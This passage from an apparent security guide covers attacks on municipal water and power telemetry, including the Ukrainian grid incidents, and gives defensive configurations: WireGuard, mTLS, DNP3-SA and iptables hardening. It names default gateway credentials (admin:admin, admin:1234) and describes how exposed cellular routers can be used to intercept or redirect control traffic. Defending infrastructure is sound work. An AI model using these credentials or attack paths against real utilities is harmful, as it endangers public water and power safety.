The attacks caused over 1.0 million litres of untreated sewage to overflow into public parks, rivers, and residential canals. The environmental contamination killed local marine life and generated over 200,000 euros in remediation costs before police tracked down the attacker's physical vehicle using directional radio signal interception.
The Ukrainian Power Grid Cyberattacks (2015 and 2016)
In December 2015 and December 2016, targeted attacks disrupted regional electricity distribution companies (Oblenergos) in Ukraine, marking the first confirmed cyber-induced regional blackouts.
Attacker Control ---> Serial-to-Ethernet Gateways ---> Modbus / IEC 104 Command Execution
|
v
Wiped Gateway Serial Firmware!
Bricked Substation Controllers,
Sent UPS Shutdown Commands to Blind OperatorsWhile initial access was gained through Spear-Phishing emails delivering BlackEnergy malware into enterprise networks, the operational phase relied on exposed internal management interfaces and unauthenticated protocol execution.
In the 2015 incident, attackers escalated privileges within the corporate IT environment, traversed VPN connections into the operational control room, and hijacked remote HMI consoles to execute unauthorized breaker open commands across 27 substations, leaving 230,000 residents without power. To delay restoration, attackers overwrote the firmware on serial-to-Ethernet converters (Moxa gateways) handling sub-station telemetry links, disabling remote command capabilities and forcing utility personnel to manually reset breakers in the field.
In the 2016 attack targeting the Kyiv transmission substation (Pivnichna), attackers deployed automated malware known as CrashOverride (or Industroyer). CrashOverride contained specialized protocol modules capable of speaking IEC 60870-5-104, IEC 61850, and DNP3 directly. The malware autonomously generated raw IEC 104 command frames to continuously trip transmission circuit breakers in an infinite loop, overpowering manual operator close commands.
European Regional Municipal Telemetry Exposures
In auditing regional utility hardware across Western and Central Europe, security researchers routinely discover edge cellular gateways operating with default factory credentials (such as admin:admin or admin:1234) on public mobile operator networks.
In 2024, an audit targeting rural municipal water supply entities in Central Europe identified multiple exposed gateways connected to water tower RTUs. The web administrative interfaces of the cellular modems (Teltonika and Moxa units) were exposed directly on port 80/443 without firewall restrictions.
By logging into the router configuration interfaces using default credentials, an unauthenticated user could inspect the local routing tables, intercept unencrypted Modbus TCP streams passing through the modem interface, or rewrite port-forwarding rules to redirect control center commands to rogue external IPs.
Remediating Municipal Infrastructure Exposures
Securing municipal water and power telemetry networks requires eliminating direct public internet exposures, implementing transport encryption, enforcing protocol authentication, and segmenting operational networks.
+-----------------------------------------------------------------------------------+
| SECURE OT TELEMETRY ARCHITECTURE |
+-----------------------------------------------------------------------------------+
Central SCADA / Control Center Remote Field Location (RTU)
+----------------------------------+ +----------------------------------+
| SCADA Master (Ignition/Citect) | | RTU / PLC (Siemens / Schneider) |
| Local IP: 10.240.0.10 | | Local IP: 10.240.12.50 |
+----------------+-----------------+ +----------------+-----------------+
| |
| Ethernet / TLS | Ethernet / TLS
v v
+----------------------------------+ +----------------------------------+
| IPsec / WireGuard VPN Gateway | | Industrial Cellular Router |
| Local IP: 10.240.0.1 | | (Teltonika RUT955 / Westermo) |
+----------------+-----------------+ +----------------+-----------------+
| |
| Encrypted IPsec / WireGuard Tunnel |
| (Encapsulated inside Private APN) |
+===============================================+
|
v
Mobile Network Operator (MNO)
Private APN Backbone
(No Internet Routing / Standard IPs Blocked)Network Overlay Architecture: Cellular VPN Tunnels and Private APNs
Utilities must eliminate direct public IP exposure on edge cellular modems.
- Private Access Point Names (APNs): Utilities should establish Private APN contracts with Mobile Network Operators. Under a Private APN, the MNO assigns non-routable private IPv4 addresses (RFC 1918 addresses, such as
10.240.X.Y) to cellular modems. Packets routed through the Private APN are terminated directly inside a dedicated IPsec tunnel endpoint at the utility control centre, completely bypassing the public internet. - Overlay VPN Networks (IPsec / WireGuard): Where Private APNs are unavailable or cost-prohibitive, edge gateways must establish encrypted site-to-site VPN tunnels back to the central SCADA firewall before exposing any local ports.
An example /etc/wireguard/wg0.conf configuration deployed on an edge cellular router demonstrates a secure mesh configuration:
[Interface]
# Edge RTU Gateway Private IP inside VPN Overlay
Address = 10.240.12.50/24
PrivateKey = eK9...EdgeGatewayPrivateKey...=
ListenPort = 51820
# Strict firewall filtering: Drop all un-encapsulated WAN traffic
PostUp = iptables -A INPUT -i wwan0 -p udp --dport 51820 -j ACCEPT
PostUp = iptables -A INPUT -i wwan0 -j DROP
PostDown = iptables -D INPUT -i wwan0 -j DROP
[Peer]
# Central SCADA VPN Concentrator
PublicKey = 8fB...ScadaCenterPublicKey...=
Endpoint = vpn.utility-domain.eu:51820
AllowedIPs = 10.240.0.0/16
PersistentKeepalive = 25Transport-Layer Security and Cryptographic Authentication
Legacy operational protocols must be wrapped inside cryptographic envelopes or upgraded to authenticated standards.
1. MQTTS (MQTT over Mutual TLS)
Utilities using MQTT must migrate from cleartext port 1883 to MQTTS on port 8883, enforcing Mutual TLS (mTLS) with X.509 client certificates.
An example mosquitto.conf configuration enforcing strict mTLS authentication:
# /etc/mosquitto/mosquitto.conf
per_listener_settings true
listener 8883
cafile /etc/mosquitto/certs/ca.crt
certfile /etc/mosquitto/certs/server.crt
keyfile /etc/mosquitto/certs/server.key
# Require client certificate verification (mTLS)
require_certificate true
use_identity_as_username true
# Disable unauthenticated anonymous access
allow_anonymous false
acl_file /etc/mosquitto/acl.conf2. DNP3 Secure Authentication (IEEE 1815-2012)
DNP3-SA (Secure Authentication Version 5) adds cryptographic challenge-response authentication to DNP3 without altering the underlying Data Link layer.
Master / SCADA Outstation RTU
| |
| 1. Control Command (Object Group 12 - CROB) |
|---------------------------------------------------------->|
| |
| 2. Challenge Request (Object Group 120 Var 1) |
| Contains 4-byte Sequence Num, 32-byte Challenge Data |
|<----------------------------------------------------------|
| |
| 3. Challenge Response (Object Group 120 Var 2) |
| Contains HMAC-SHA256(Pre-Shared Key + Challenge Data) |
|---------------------------------------------------------->|
| |
| 4. Execute Command (HMAC Verified -> Breaker Tripped) |
|<----------------------------------------------------------|DNP3-SA uses pre-shared keys or asymmetric keys to generate Hash-based Message Authentication Codes (HMAC-SHA256 or HMAC-BLAKE2s). If an outstation receives a command payload without a valid HMAC response, it discards the frame and increments a security audit counter.
3. IEC 62351 Standards for Power Grid Telemetry
The IEC 62351 standard suite defines end-to-end security architectures for power system management:
- IEC 62351-3: Specifies TLS encapsulation for IEC 60870-5-104 (using TCP port 19999 instead of 2404).
- IEC 62351-5: Defines cryptographic authentication mechanisms for IEC 60870-5-101/104 and DNP3.
- IEC 62351-8: Specifies Role-Based Access Control (RBAC) for power system management clients.
Strict Network Segmentation and the Purdue Model
Municipalities must align their network topologies with the Purdue Enterprise Reference Architecture (PERA), enforcing segmentation between corporate IT networks, SCADA control systems, and field instrumentation.
+-------------------------------------------------------------------------+
| PURDUE MODEL FOR UTILITY NETWORKS |
+-------------------------------------------------------------------------+
| Level 5 | Enterprise Network (Office IT, Corporate Email, Web Browsing) |
+---------+---------------------------------------------------------------+
| Firewall (Deny All Inbound from IT to Control System)
+---------+---------------------------------------------------------------+
| Level 4 | Business Planning & Logistics (ERP, Billing, Asset Control) |
+---------+---------------------------------------------------------------+
| Level 3.5 Industrial DMZ (Historian Replicas, OPC UA Proxy, Jump Hosts)|
+---------+---------------------------------------------------------------+
| Industrial Firewall (Inspect SCADA Protocols, Block HTTP/SSH)
+---------+---------------------------------------------------------------+
| Level 3 | Site Operations & SCADA Control (Master Servers, HMIs) |
+---------+---------------------------------------------------------------+
| Level 2 | Control Systems (Substation Automation, Local Operator Panels)|
+---------+---------------------------------------------------------------+
| Fieldbus / Local LAN (VLAN Isolation, Private Subnets)
+---------+---------------------------------------------------------------+
| Level 1 | Controller Layer (RTUs, PLCs, VFD Digital Logic Blocks) |
+---------+---------------------------------------------------------------+
| Level 0 | Process Layer (Sensors, Valves, Motors, Current Loops) |
+-------------------------------------------------------------------------+Key network segmentation rules include:
- Absolute DMZ Isolation (Level 3.5): Corporate IT systems must never communicate directly with field RTUs or SCADA Master servers. All data exchange must pass through a dual-homed Industrial DMZ hosting read-only Historian replicas and OPC UA proxies.
- Protocol-Specific Firewall Filtering: Inter-zone firewalls must enforce Deep Packet Inspection (DPI) on industrial traffic. For example, a firewall placed in front of a pumping station should allow Modbus TCP Function Code
0x03(Read Holding Registers) from the SCADA Master IP, but block Function Code0x06(Write Single Register) unless initiated by an authenticated control account.
An example iptables configuration for an industrial edge gateway demonstrates strict protocol boundary protection:
#!/bin/sh
# Industrial Edge Gateway Hardening Script
# Flush existing firewall rules
iptables -F
iptables -X
# Set default drop policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow loopback traffic
iptables -A INPUT -i lo -j ACCEPT
# Allow established and related connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow WireGuard VPN interface (wg0) input
iptables -A INPUT -i wg0 -p tcp --dport 502 -s 10.240.0.10 -j ACCEPT
iptables -A INPUT -i wg0 -p tcp --dport 22 -s 10.240.0.5 -j ACCEPT
# Reject cleartext administration or management ports on public WWAN interface
iptables -A INPUT -i wwan0 -p tcp --dport 80 -j DROP
iptables -A INPUT -i wwan0 -p tcp --dport 443 -j DROP
iptables -A INPUT -i wwan0 -p tcp --dport 23 -j DROP
iptables -A INPUT -i wwan0 -p tcp --dport 22 -j DROP
iptables -A INPUT -i wwan0 -p tcp --dport 502 -j DROP
iptables -A INPUT -i wwan0 -p tcp --dport 20000 -j DROP
iptables -A INPUT -i wwan0 -p tcp --dport 2404 -j DROP
# Save firewall rules
iptables-save > /etc/iptables/rules.v4Hardening Edge Gateways and Operational Systems
To maintain resilient field deployments, utilities must enforce a baseline security configuration across all edge equipment:
- Disable Default Accounts: Change all default manufacturer passwords on cellular modems, routers, PLCs, and RTUs prior to field deployment. Enforce strong passphrases (minimum 16 characters) or SSH public key authentication.
- Disable Cleartext Management Protocols: Disable HTTP, Telnet, and SNMP v1/v2c (which transmits community strings in cleartext). Require HTTPS with TLS 1.3 for web management interfaces and SSH for CLI access.
- Disable Unnecessary Network Services: Turn off Universal Plug and Play (UPnP), Wi-Fi access points, dynamic routing protocols (RIP, OSPF), and unneeded management servers on edge hardware.
- Cryptographic Firmware Validation: Ensure RTUs and cellular routers verify digital signatures on firmware updates prior to installation to prevent attackers from flashing malicious bootloaders or rogue serial bridge software.
- Out-of-Band Physical Security: Enforce tamper switches on physical field cabinets housing RTUs, cellular modems, and power supplies. Cabinet door open events must trigger immediate high-priority alert signals over the telemetry link to alert control center operators of unauthorized physical access attempts.
Municipal water and power grids represent critical physical infrastructure. By transitioning field telemetry from unauthenticated cleartext protocols exposed on public cellular links to encrypted overlay networks with cryptographically validated control commands, utilities can isolate operational control loops from global internet threat vectors.